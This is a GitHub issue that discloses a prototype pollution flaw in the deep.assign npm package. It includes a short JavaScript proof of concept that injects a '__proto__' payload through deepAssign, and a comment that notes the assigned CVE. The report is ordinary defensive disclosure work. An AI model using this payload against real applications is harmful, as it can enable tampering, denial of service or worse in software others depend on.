Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

Prototype Pollution in deep.assign npm package #1

Open
jayateertha043 opened this issue Sep 6, 2021 · 1 comment
Open

Prototype Pollution in deep.assign npm package #1

jayateertha043 opened this issue Sep 6, 2021 · 1 comment

Comments

@jayateertha043
Copy link

jayateertha043 commented Sep 6, 2021

✍️ Description
deep.assign npm package is vulnerable to prototype pollution vulnerability prior to version 0.0.0-alpha.0.

🕵️‍♂️ Proof of Concept
LIVE POC LINK

var deepAssign = require("deep.assign@0.0.0-alpha.0")
var obj=JSON.parse('{"__proto__":{"polluted":1}}')
var obj1 = {"red":"apple"}
console.log("Before:"+{}.polluted)
var c=deepAssign.deepAssign(obj1,obj)
console.log("After:"+{}.polluted)

💥 Impact
May lead to Information Disclosure/DoS/RCE.

External References for similar vulnerabilities/blogs:
https://medium.com/node-modules/what-is-prototype-pollution-and-why-is-it-such-a-big-deal-2dd8d89a93c
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26707

@stevebeattie
Copy link

stevebeattie commented Jul 2, 2022

Hi, this issue was apparently assigned CVE-2021-40663

(I'm just a messenger, I neither requested nor assigned this CVE identifier.)

# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants